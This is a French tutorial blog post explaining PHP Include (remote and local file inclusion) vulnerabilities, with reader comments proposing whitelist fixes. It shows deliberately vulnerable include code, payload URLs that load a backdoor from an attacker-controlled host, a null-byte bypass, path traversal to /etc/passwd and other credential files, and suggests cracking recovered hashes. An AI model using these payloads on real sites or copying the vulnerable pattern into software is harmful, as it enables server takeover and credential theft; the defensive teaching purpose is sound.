J'ai déjà abordé les failles d'upload et XSS parmi les vulnérabilités des applications web dans les tutoriels précédents. Aujourd'hui, je vais vous présenter la faille PHP Include, qui est certainement l'une des vulnérabilités PHP les plus connues dans le monde des sites web. Cette notoriété est souvent due à une erreur de programmation commise par un développeur peu attentif aux questions de sécurité.
Je vous expliquerai en détail comment exploiter cette vulnérabilité et, bien sûr, comment vous en protéger.
Et non, cet article ne va pas s’autodétruire dans 5 secondes 🙂 Je vous invite donc à prendre le temps de le lire pour approfondir votre compréhension de la faille PHP Include, une vulnérabilité critique parmi les applications web.
PHP Include, qu'est-ce que c'est ?
Cette fonction, comme son nom l'indique, permet d'inclure une page dans une autre. Voici comment on l'utilise :
<?php
include("page.php");
?>
Prenons un exemple :
Si toutes vos pages nécessitent l'inclusion de la page mysql.php
, qui contient les informations de connexion à la base de données, il est judicieux de l'inclure dans chacune de vos pages plutôt que de recopier le contenu de mysql.php
dans chacune d'elles.
La fonction PHP include vous permet de maintenir une seule page mysql.php
. Ainsi, toutes les pages de votre site incluront cette page — le même principe s'applique pour le menu, le header, et le footer.
Comment fonctionne PHP Include ?
Imaginez que nous avons une page index.php
avec le code suivant :
<?php
if (isset($_GET['page'])) // Vérifie si la variable $_GET['page'] existe
include($_GET['page']);
else
include('default.php');
?>
Si vous saisissez l'URL suivante : http://index.php?page=astuces.php
, ce bout de code inclura (et exécutera) la page "astuces.php". Jusqu'ici, rien de bien compliqué.
Mais que se passe-t-il si je saisis l'URL suivante : http://index.php?page=http://www.google.fr
?
Dans ce cas, la page de Google s'exécutera et s'affichera sur notre serveur ! Imaginez maintenant que cette page soit une porte dérobée, comme c99.php
. Nous pourrions alors prendre le contrôle du serveur hôte. Ainsi, il serait possible de lister tous les fichiers du serveur, de les éditer, d'en créer de nouveaux, d'accéder à la base de données, etc.
Comment détecter la présence d'une faille PHP Include ?
Pour identifier une faille PHP Include sur un site web, testez différents paramètres dans l'URL et observez les erreurs générées. Voici comment procéder :
Modifiez les paramètres de l'URL, par exemple en changeant le chemin d'accès aux fichiers inclus.
Si le site est vulnérable à une faille PHP Include, vous pourriez voir des avertissements tels que :
- Warning: main([PARAMETRE_INCORRECT]): failed to open stream: No such file or directory in [URL_DE_LA_PAGE].php on line [NUMERO_DE_LIGNE]
- Warning: main(): Failed opening '[PARAMETRE_INCORRECT]' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in [URL_DE_LA_PAGE].php on line [NUMERO_DE_LIGNE]
Recherchez l'un de ces messages d'erreur dans un moteur de recherche pour découvrir combien de sites web pourraient être vulnérables à cette faille. Cependant, il est crucial de ne pas tenter de tester cette méthode sur des sites web sans autorisation, car cela est totalement illégal.
Ce tutoriel est présenté à des fins éducatives, pour vous aider à sécuriser votre propre site web et prévenir ce type de vulnérabilités.
Comment se passe l'exploitation de cette faille ?
Pour comprendre la gravité de la faille PHP Include, voici un scénario hypothétique sur comment elle pourrait être exploitée si des mesures de sécurité adéquates ne sont pas en place :
- Préparation : Un attaquant se procure un script PHP malveillant (par exemple, r57, c99, etc.). Ces scripts sont parfois encodés en base64 pour éviter la détection par des systèmes de sécurité simples.
- Exploitation : Imaginons qu'un site web PHP présente une vulnérabilité PHP Include, permettant l'inclusion de n'importe quelle page externe. L'attaquant pourrait alors héberger son script malveillant sur un serveur, possiblement un serveur FTP ou un autre type de serveur qui ne nécessite pas l'exécution de PHP.
- Injection : L'attaquant peut ensuite modifier l'URL pour inclure son script malveillant à partir de son serveur externe. Par exemple :
index.php?page=http://votre-serveur.com/porte-derobee.php
Si le script est sur un serveur FTP, l'URL pourrait changer pour intégrer les détails d'authentification FTP.
Parfois, vous pouvez rencontrer une page vulnérable qui utilise un code légèrement différent de celui présenté précédemment.
Prenons cet exemple :
<?php
if (isset($_GET['page']))
include($_GET['page'] . ".php");
else
include('default.php');
?>
Dans ce cas, l'extension ".php" est automatiquement ajoutée à la variable. Cela signifie que si vous tentez d'inclure le fichier porte-derobee.php
, il deviendrait porte-derobee.php.php
, et ne s'exécuterait pas correctement sur le serveur vulnérable.
Alors, que faire ?
Il existe une solution pour contourner ce type de filtre, connue sous le nom de technique du "null byte". Cette méthode consiste à ajouter un octet null (ASCII zéro) à la fin de votre URL.
Par exemple :
index.php?page=http://notre-serveur.com/porte-derobee.php%00
Explication :
La fonction include()
est traitée par une fonction programmée en langage C, où un octet null (x00 en notation classique) marque la fin d'une chaîne de caractères. Ainsi, la chaîne porte-derobee.php%00.php
sera tronquée au caractère %00
, effectuant l'inclusion du fichier porte-derobee.php
comme prévu.
La faille include en local
Jusqu'à présent, nous avons uniquement exploré l'inclusion de portes dérobées à distance. Cependant, il est également possible d'exploiter cette faille pour exécuter un fichier directement sur le serveur vulnérable. Cela peut parfois être la seule option, surtout si certaines mesures de sécurité bloquent l'inclusion de code provenant d'autres serveurs.
Nous pouvons, par exemple, afficher toutes les pages à l'intérieur de l'index de cette manière : http://www.cible.com/index.php?page=/test/test.php
. Cette méthode nous permet de naviguer dans tous les répertoires du site, et potentiellement de tout le serveur si les permissions ne sont pas correctement configurées (non chmodées).
En pratique, voici comment procéder : Essayez de deviner où se trouvent les fichiers intéressants, comme .htpasswd
, en testant successivement des paramètres tels que ../.htpasswd
, ../../.htpasswd
, ou ../dossier/.htpasswd
.
Vous pouvez aussi essayer de remonter jusqu'à la racine du serveur puis naviguer vers le répertoire qui vous intéresse pour accéder à un fichier sensible. Par exemple :
http://cible.com/index.php?page=../../../../../../../etc/passwd
Une fois les fichiers de mots de passe récupérés, vous pourriez théoriquement les cracker avec un programme approprié comme John The Ripper ou Cain.
Voici d'autres fichiers qui peuvent être intéressants à explorer, même si certains, comme /etc/shadow
, ne sont accessibles qu'à l'utilisateur root :
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
Se protéger de la faille Include
La meilleure façon de se protéger contre une faille PHP Include, en tenant compte des pratiques actuelles et des dernières versions de PHP, est la suivante :
Validation stricte des entrées
Il est crucial de s'assurer que toutes les entrées utilisées pour des inclusions de fichiers sont strictement validées.
Au lieu de permettre à l'utilisateur de déterminer directement les fichiers à inclure via des paramètres d'URL, utilisez un contrôle strict basé sur des conditions prédéfinies :
if ($page == "astuces") {
include("astuces.php");
} elseif ($page == "photos") {
include("photos.php");
} else {
include("index.php");
}
Cette méthode garantit que seuls les fichiers spécifiquement autorisés sont inclus, ce qui réduit les risques d'inclusion de contenu malveillant.
Configuration du serveur
Désactivation de allow_url_fopen
et allow_url_include
: Ces configurations doivent être désactivées pour empêcher l'inclusion de fichiers distants, une source courante de vulnérabilités. En PHP8 et versions ultérieures, assurez-vous que ces paramètres sont correctement configurés dans le fichier php.ini
:
allow_url_fopen = Off
allow_url_include = Off
Liste Blanche
Utilisez une liste blanche pour contrôler les fichiers qui peuvent être inclus dans vos scripts.
Cela empêche l'exécution de fichiers non autorisés même en cas de manipulation des paramètres d'entrée.
Et voilà, nous arrivons à la fin de ce guide informatique. J'espère que les conseils partagés vous ont été utiles et contribueront à renforcer la sécurité de votre site web.
Il est vraiment important que tous ceux qui gèrent un site web comprennent combien il est crucial de se protéger contre les failles d'inclusion et de prendre les bonnes mesures pour sécuriser leur site.
Avez-vous trouvé ce guide utile ?
Nous aimerions connaître votre avis pour améliorer nos tutoriels. Avez-vous trouvé ce guide utile ?
Questions & Réponses
Posez votre question
Question :
Sympa comme Article...
Une question, pourquoi y a t il un espace blanc au début de tes valeurs ?
1if ( $page == " astuces") { include (" astuces. php") }
2if ( $page == " photos") { include (" photos. php")}
3.
4.5else { include (" index. php") }
Question :
pour sécuriser la faille c pas ça qui faut faire,imagine que tu as un site très dynamique oui il y'a des centaines de pages en fonction des articles ajouter ce serait impossible de faire ce que tu fais, le mieux serait de scanner toute les pages d un repertoire Puis de faire des conditions
Question :
Salut
Evidemment c'est le bon moyen .
Sauf au lieu de faire un test pour chaque page , il ya mieu a faire : c'est de stoquer nos pages dans un taleau . et faire la vérification , c'est plus propre :
$tab_pages = array('index', 'astuces' ,'photos', 'autres');
$page = (isset($_GET['page']))? htmlspecialchars($_GET['page']) :'index';
// Tests
if (!empty($_GET['page']) && in_array($page,$tab_pages))
{
include $page.'.php';
}else{
header ('Refresh:3;URL=./index.php');
echo 'erreure , page introuvale';
}
Question :
On peux même stocker les noms de nos pages dans une BD et faire des testes a chaque fois qu'on détecte un include d'une page
Réponse :
Oui Sadiq, C'est également une bonne solution pour éviter la faille include !